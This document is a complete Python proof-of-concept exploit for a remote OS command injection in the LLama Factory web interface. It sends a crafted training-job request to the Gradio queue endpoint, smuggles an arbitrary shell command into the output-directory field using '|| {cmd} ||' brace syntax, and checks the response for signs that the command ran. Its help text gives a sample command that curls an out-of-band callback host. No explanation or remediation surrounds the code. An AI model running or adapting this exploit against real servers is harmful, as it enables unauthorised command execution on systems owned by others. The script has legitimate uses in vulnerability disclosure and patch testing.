Proof of Concept for LLama Factory Remote OS Command Injection Vulnerability

llama-factory-rce.py

import requests
import json
import random
import string
import argparse

# ANSI color codes for colorful output
class Colors:
    CYAN = "\033[96m"
    GREEN = "\033[92m"
    RED = "\033[91m"
    YELLOW = "\033[93m"
    WHITE = "\033[97m"
    RESET = "\033[0m"

# Function to generate a random session hash
def generate_session_hash(length=12):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

# Parse command-line arguments
parser = argparse.ArgumentParser(description="Run PoC for HTTP requests.")
parser.add_argument("--url", required=True, help="Base URL of the target server (e.g., http://proof-of-concept:7861)")
parser.add_argument("--cmd", required=True, help="Command to be inserted in the payload (e.g., 'curl dfwht7uihlbwb3vdw18ny5fv3m9dxauyj.oastify.com')")
parser.add_argument("--trace", action="store_true", help="Enable detailed trace output of request responses")
args = parser.parse_args()

# Extract arguments
BASE_URL = args.url
input_value = args.cmd

# Convert the input command into {XX,XX,XX} format
formatted_value = "{" + ",".join(input_value.split()) + "}"

# Generate a random session hash
session_hash = generate_session_hash()

# First request: POST to /queue/join
join_payload = {
    "data": [
        "en",
        "Aya-23-8B-Chat",
        "CohereForAI/aya-23-8B",
        "lora",
        [],
        "none",
        "bitsandbytes",
        "cohere",
        "none",
        "auto",
        "Supervised Fine-Tuning",
        "data",
        ["identity"],
        "5e-5",
        "3.0",
        "1.0",
        "100000",
        "bf16",
        2048,
        2,
        8,
        0,
        "cosine",
        5,
        100,
        0,
        0,
        "{\"optim\": \"adamw_torch\"}",
        False,
        False,
        False,
        False,
        False,
        False,
        False,
        False,
        2,
        "all",
        "",
        8,
        16,
        0,
        0,
        False,
        False,
        False,
        False,
        "",
        "",
        0.1,
        0,
        "sigmoid",
        None,
        False,
        False,
        False,
        16,
        200,
        0.25,
        "all",
        False,
        "layer",
        "ascending",
        50,
        0.05,
        f"train_2024-11-21-10-44-30|| {formatted_value} ||",
        "2024-11-20-21-24-26.yaml",
        "none",
        False,
    ],
    "event_data": None,
    "fn_index": 17,
    "trigger_id": 126,
    "session_hash": session_hash,
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36",
    "Origin": f"{BASE_URL}",
    "Referer": f"{BASE_URL}/",
    "Accept": "*/*",
    "Connection": "keep-alive",
}

# Function to print response colorfully
def print_response(response, label):
    if args.trace:
        print(f"{Colors.CYAN}{label} Response:{Colors.RESET}")
        if response.status_code == 200:
            print(f"{Colors.GREEN}Status Code: {response.status_code}{Colors.RESET}")
            print(f"{Colors.WHITE}Body: {response.text}{Colors.RESET}")
        else:
            print(f"{Colors.RED}Status Code: {response.status_code}{Colors.RESET}")
            print(f"{Colors.YELLOW}Error: {response.text}{Colors.RESET}")

print("[*] Sending POST /queue/join request...")
response_join = requests.post(
    f"{BASE_URL}/queue/join", headers=headers, data=json.dumps(join_payload)
)

print_response(response_join, "POST /queue/join")

if response_join.status_code != 200:
    print(f"{Colors.RED}[-] POST /queue/join failed: {response_join.status_code}{Colors.RESET}")
    exit(1)

# Second request: GET to /queue/data
data_headers = {
    "Accept": "text/event-stream",
    "User-Agent": headers["User-Agent"],
    "Referer": headers["Referer"],
    "Connection": "keep-alive",
    "Content-Type": "application/json",
}

print("[*] Sending GET /queue/data request...")
response_data = requests.get(
    f"{BASE_URL}/queue/data?session_hash={session_hash}", headers=data_headers
)

print_response(response_data, "GET /queue/data")

if response_data.status_code == 200:
    response_text = response_data.text
    print("[+] GET /queue/data request successful.")
    
    # Check for the specific string in the response
    if "CUDA environment was not detected" in response_text:
        print(f"{Colors.GREEN}[SUCCESS] Command executed successfully. CUDA environment not detected.{Colors.RESET}")
    else:
        print(f"{Colors.RED}[-] Command execution failed. Expected message not found.{Colors.RESET}")
else:
    print(f"{Colors.RED}[-] GET /queue/data failed: {response_data.status_code}{Colors.RESET}")